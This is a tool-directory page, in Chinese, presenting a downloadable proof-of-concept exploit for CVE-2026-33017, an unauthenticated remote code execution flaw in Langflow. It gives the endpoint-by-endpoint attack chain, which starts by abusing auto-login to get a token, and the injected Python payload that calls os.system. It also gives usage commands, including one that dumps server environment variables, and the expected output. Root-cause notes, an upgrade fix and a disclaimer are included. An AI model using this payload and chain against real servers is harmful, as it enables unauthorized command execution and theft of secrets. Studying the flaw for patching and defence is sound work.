Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017-langflow-rce — 针对 CVE-2026-33017 的概念验证,演示了在存在漏洞的 Langflow 版本中,通过恶意的 CustomComponent 代码注入实现未经身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具Payload 开发
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

针对 CVE-2026-33017 的概念验证,演示了在存在漏洞的 Langflow 版本中,通过恶意的 CustomComponent 代码注入实现未经身份验证的远程代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
591个月前尚未审核
分享

CVE-2026-33017 - Langflow 未认证远程代码执行 (RCE)

概述

CVE ID: CVE-2026-33017
受影响软件: Langflow 受影响版本: <= 1.8.2 修复版本: >= 1.9.0 严重程度: 严重
作者: arensballiu
日期: 2026

描述

Langflow 暴露了一个公开的流程构建端点(/api/v1/build_public_tmp/{flowID}/flow),该端点接受 任意的 CustomComponent 代码块并在服务端执行它们,且无需身份认证。通过 将恶意 Python 载荷注入 CustomComponent 节点的 code 字段,未认证的 攻击者可以以 Langflow 服务器进程的权限运行任意操作系统命令。

该攻击链首先滥用 /api/v1/auto_login 端点,当 Langflow 以其默认自动登录配置运行时, 该端点无需凭据即可签发 bearer 令牌。然后它使用 该令牌创建一个临时的公开流程,并通过构建端点触发服务端代码执行。

随附一个 docker 文件,用于创建已安装并运行 Langflow 的 docker 实例。

受影响的端点

端点方法需要认证用途
/api/v1/auto_loginGET否获取 bearer 令牌(必须启用自动登录)
/api/v1/flows/POST是(Bearer)创建新流程
/api/v1/build_public_tmp/{flowID}/flowPOST否(公开)触发构建 - 存在漏洞的执行点
/api/v1/flows/{flowID}DELETE是(Bearer)清理所创建的流程

概念验证

文件: CVE-2026-33017_POC.py

要求

  • Python 3.x
  • requests 库
  • 能够访问启用了自动登录的 Langflow 实例的网络
pip install requests

用法

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

参数

标志长格式是否必需描述
-u--url是Langflow 实例的基础 URL
-c--command是在服务器上执行的 OS 命令
-d--delete否利用完成后删除所创建的流程

示例

验证代码执行:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

获取服务器环境变量:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

在利用后保持流程存活(跳过清理):

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

预期输出

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Payload 解析

该漏洞利用会将以下 Python 代码片段注入到 CustomComponent 节点的 code 字段中:

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - 动态导入 os 模块,并在服务器上执行攻击者提供的 shell 命令。
  • 类定义的其余部分是一个有效的 CustomComponent,用于满足 Langflow 的组件加载器要求,同时不会引发解析错误。
  • 该流程被创建为 PUBLIC,并在其公共端点上调用构建端点,这意味着触发执行不需要会话 cookie 或身份验证令牌。

根本原因

Langflow 的 CustomComponent 系统允许将任意 Python 代码作为流程定义的一部分提交。/api/v1/build_public_tmp/{flowID}/flow 端点会在服务器端构建并部分评估此代码,包括模块级语句,且没有沙箱隔离,也没有限制对 __import__ 等 Python 内置对象的访问。

攻击链摘要

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

四个步骤均可由匿名攻击者针对默认配置的 Langflow 部署完成。

修复建议

  • 升级 Langflow 至 1.9.0 或更高版本。
  • 在任何面向互联网的部署中禁用自动登录(LANGFLOW_AUTO_LOGIN=false)。

免责声明

本概念验证仅供教育和经授权的安全研究目的使用。 在未获得明确书面许可的情况下,对系统使用本脚本属于违法且不道德的行为。 作者及贡献者不对任何滥用行为承担责任。

下载工具